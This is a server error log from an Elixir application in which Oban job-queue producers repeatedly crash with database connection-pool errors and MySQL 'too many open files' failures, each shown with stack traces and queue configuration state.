    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:30:01.240652Z], limit: 3, uuid: "104e60f7-d65b-4ec1-96df-7969ed6ae74b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:01.240657Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.10171>, refresh_timer: #Reference<0.2525715032.1121189889.118459>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:30:01.240443Z], limit: 10, uuid: "4d53dffd-b695-4680-b724-beb49b64ac49", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:01.240449Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.10170>, refresh_timer: #Reference<0.2525715032.1121189889.118449>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:30:01.242274Z], limit: 5, uuid: "e1e6e246-a634-4a51-816a-55588d9c9932", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:01.242279Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.10174>, refresh_timer: #Reference<0.2525715032.1077411843.251122>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 890ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:30:01.241565Z], limit: 20, uuid: "6064e2fc-40f9-4d73-ad27-9328b4726c1f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:01.241571Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.10173>, refresh_timer: #Reference<0.2525715032.1077411843.251114>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:13.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 848ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:30:01.240160Z], limit: 50, uuid: "5e489b64-8bbd-4891-a9c5-a035dda8cbe4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:01.240166Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.10175>, refresh_timer: #Reference<0.2525715032.1077411843.251071>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 862ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:30:01.240837Z], limit: 5, uuid: "4576c574-05ac-46f0-b199-6ec9c9723590", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:01.240842Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.10172>, refresh_timer: #Reference<0.2525715032.1099431938.19310>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:13.634000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:18.198000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:18.489000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:21.834000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:23.415000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:23.510000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:24.094000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:24.622000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1032ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:30:13.242177Z], limit: 5, uuid: "e1fadf03-b316-4b05-a5d5-7e41a7c30deb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:13.242183Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.10561>, refresh_timer: #Reference<0.2525715032.1068498948.10553>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:30:13.240831Z], limit: 5, uuid: "05aa59e1-a4a2-4fc5-a845-69dc42a94235", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:13.240836Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.10564>, refresh_timer: #Reference<0.2525715032.1099431938.19444>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1029ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:30:13.241095Z], limit: 50, uuid: "fde98642-46ff-4bcc-9ba0-5e13ab65eb1b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:13.241100Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.10566>, refresh_timer: #Reference<0.2525715032.1077411843.251177>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:25.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1071ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

